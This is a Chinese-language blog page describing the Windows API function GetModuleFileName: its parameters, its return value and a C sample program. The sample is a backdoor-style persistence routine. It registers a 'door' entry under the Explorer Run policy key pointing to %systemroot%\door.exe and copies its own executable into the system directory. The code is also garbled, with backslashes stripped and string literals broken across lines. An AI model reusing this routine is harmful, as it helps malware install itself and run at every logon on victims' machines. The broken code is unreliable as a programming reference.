zoukankan      html  css  js  c++  java
  • GetModuleFileName函数

    GetModuleFileName函数检索指定模块的完全限定路径。

    要指定包含模块的进程,请使用GetModuleFileNameEx函数。

    DWORD GetModuleFileName(
      HMODULE hModule,    // handle to module
      LPTSTR lpFilename,  // path buffer
      DWORD nSize         // size of buffer
    );

    参数

    hModule:[in]请求路径的模块的句柄。如果该参数为空,GetModuleFileName将检索当前模块的路径。

    lpFilename:[out]指向缓冲区的指针,该缓冲区接收模块的完全限定路径。如果字符串的长度超过了nSize参数指定的大小,则该字符串将被截断。

    Windows NT/2000/XP:路径可以有前缀“?”基于加载模块的方式。有关更多信息,请参见文件名称约定。

    nSize:[in]在TCHARs中指定lpFilename缓冲区的长度。

    返回值

    如果函数成功,返回值是在TCHARs中复制到缓冲区的字符串的长度。如果函数失败,返回值为0。要获得扩展错误信息,请调用GetLastError。

    示例代码:

    #include<stdio.h>
    #include<windows.h>
    int main(void)
    {
    	char regname[]="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run";
    	HKEY hkResult;
    	int ret;
    	ret=RegOpenKey(HKEY_CURRENT_USER,regname,&hkResult);
    
    	ret=RegSetValueEx(hkResult,"door",0,REG_EXPAND_SZ,(unsigned char *)"%systemroot%\door.exe",25);
    
    	if(ret==0)
    	{
    		printf("success to write run key
    ");
    		RegCloseKey(hkResult);
    	}
    	else
    	{
    		printf("failed to open regedit.%d
    ",ret);
    		RegCloseKey(hkResult);
    	}
    	char modlepath[256];
    	char syspath[256];
    	GetModuleFileName(0,modlepath,256);//获取当前执行模块所在路径
    
    	GetSystemDirectory(syspath,256);
    	ret=CopyFile(modlepath,strcat(syspath,"\door.exe"),1);
    	if(ret)
    		printf("%s has been copyed to sys dir %s
    ",modlepath,syspath);
    	else
    		printf("%s is exisis",modlepath);
    	return 0;
    }
    

  • 相关阅读:
    CGLib实现不同类中同名不同类型属性复制
    stream 伪复用实现
    年终盘点 | 2020年,国内私有云正式进入3.0时代
    高危端口135,137,138,139,445,1025,2475,3127,6129,3389,593
    在jsp引入js失败,提示404
    安全漏洞扫描
    Go 实现的文件行数统计工具
    .NET Core 获取域名 DNS 解析记录
    .NET Core 操作 Windows 注册表
    .NET MongoDb BsonDocument 序列化
  • 原文地址:https://www.cnblogs.com/ke-yi-/p/10175852.html
Copyright © 2011-2022 走看看